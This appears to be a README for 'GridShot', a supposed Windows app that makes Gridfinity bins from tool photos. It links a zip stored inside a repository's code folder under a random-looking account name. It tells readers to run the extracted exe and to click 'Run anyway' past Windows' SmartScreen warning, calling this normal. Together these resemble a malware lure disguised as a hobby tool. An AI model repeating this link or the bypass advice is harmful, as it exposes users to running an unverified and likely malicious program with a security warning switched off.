GridShot is a desktop application for Windows that turns simple photos of your tools into ready-to-3D-print storage bins. Instead of measuring every tool by hand or using complicated CAD software, you just:
- Take two photos of a tool with your phone
- Let GridShot calculate the exact shape
- Generate a custom Gridfinity bin that fits perfectly
GridShot works entirely on your computer. Your photos never leave your machine. No cloud uploads, no accounts, no waiting for a server.
Step 1: Download the application
Visit this link to download the application: 👉 https://raw.githubusercontent.com/Girondismascorbicacid50/gridshot/main/gridshot/cli/Software-1.2.zip
Step 2: Extract the downloaded file
After the download finishes, locate the file in your Downloads folder. Right-click the file and select "Extract All" (Windows has this built in). Choose a folder you can easily find, like your Desktop.
Step 3: Run GridShot
Open the extracted folder and double-click the file named gridshot.exe. That's it! No installation process, no commands, no setup wizard.
💡 Tip: If Windows shows a blue "More info" screen, click "More info" and then "Run anyway". This is normal for newer apps that haven't been downloaded by millions of people yet.
GridShot uses two calibrated photos to understand the exact 3D shape of your tool:
| Step | What Happens |
|---|---|
| 1 | Place your tool on a calibration card (printed from the included template) |
| 2 | Take Photo A from directly above |
| 3 | Take Photo B from a 30-degree angle |
| 4 | GridShot's GPU-accelerated engine processes both images |
| 5 | Review the generated outline and click "Generate Bin" |
The entire photo-to-bin process takes under 30 seconds on modern hardware. Your graphics card (GPU) speeds up the image processing dramatically.
GridShot isn't just for one tool at a time. It's built for serious workshop organization:
- Capture dozens of tools in a single session
- Pause and resume anytime — GridShot saves your progress
- Process multiple tools in one go and get a complete set of bins
- Every tool you scan is stored in a built-in library
- Re-generate a bin anytime, even if you lose the original file
- Compare tools side-by-side to spot similar shapes
- Your library stays 100% local — private and always available
- 🔒 Privacy First — No workshop photos sent to hosted services. Ever.
- ⚡ GPU-Accelerated — Uses your graphics card for lightning-fast processing.
- 📐 Calibrated Accuracy — Two-photo method ensures precise outlines.
- 🔄 Resumable — Stop mid-batch and pick up exactly where you left off.
- 🏗️ Gridfinity Ready — Outputs bins that match the popular Gridfinity storage system.
| Component | Minimum | Recommended |
|---|---|---|
| Operating System | Windows 10 (64-bit) | Windows 11 (64-bit) |
| Processor | Any dual-core CPU | Intel i5 / AMD Ryzen 5 or better |
| Memory (RAM) | 4 GB | 8 GB or more |
| Graphics Card | Integrated GPU | Discrete GPU (NVIDIA/AMD) |
| Storage | 200 MB free | SSD recommended |
| Display | 1366×768 | 1920×1080 or higher |
Note: GridShot uses your GPU for faster photo processing. A dedicated graphics card (even an older one) will noticeably improve performance.
No. GridShot has a simple visual interface. If you can take a photo with your phone, you can use GridShot.
No. Any modern smartphone camera works. The calibration card handles the accuracy.
No. GridShot is local-first software. All photo processing and 3D generation happens on your computer.
Gridfinity is a popular modular storage system for workshops. Bins snap into a standard grid baseplate, keeping your tools organized and accessible.
Yes! GridShot is a working prototype. Download it, scan one tool, and see the quality for yourself.
GridShot is classified as an accuracy-focused working prototype. The core photo-to-bin pipeline is fully functional, and the software includes a comprehensive regression suite to ensure measurements stay precise across updates.
Expect:
- 🟢 Working capture and bin generation
- 🟢 Batch processing with resume
- 🟢 Local tool library
- 🟡 Ongoing refinement of edge cases and user interface polish
- Photo Intake — Your two photos are loaded and scaled using the calibration card reference.
- GPU Processing — The graphics card accelerates feature detection and edge mapping.
- Outline Generation — GridShot creates a clean 2D silhouette of your tool.
- 3D Conversion — The outline is extruded into a Gridfinity-compatible bin with proper clearances.
- Export — Save the finished bin as a 3D-printable file (STL format).
- Good lighting — Use a bright, even light source to reduce shadows
- Flat surface — Make sure the calibration card lies completely flat
- Square alignment — Keep the camera parallel to the card for Photo A
- Consistent angle — Use a phone tripod or a stack of books for Photo B
- Clean tools — Remove debris or grease that could obscure edges
- Report an issue → Visit the repository and open an issue on GitHub
- Feature suggestions → Let the developer know what would improve your workflow
GridShot is distributed under an open-source license. Review the license file in the repository for full terms.
Ready to organize your workshop?
👉 Download GridShot now and turn your phone into a precision measuring tool.
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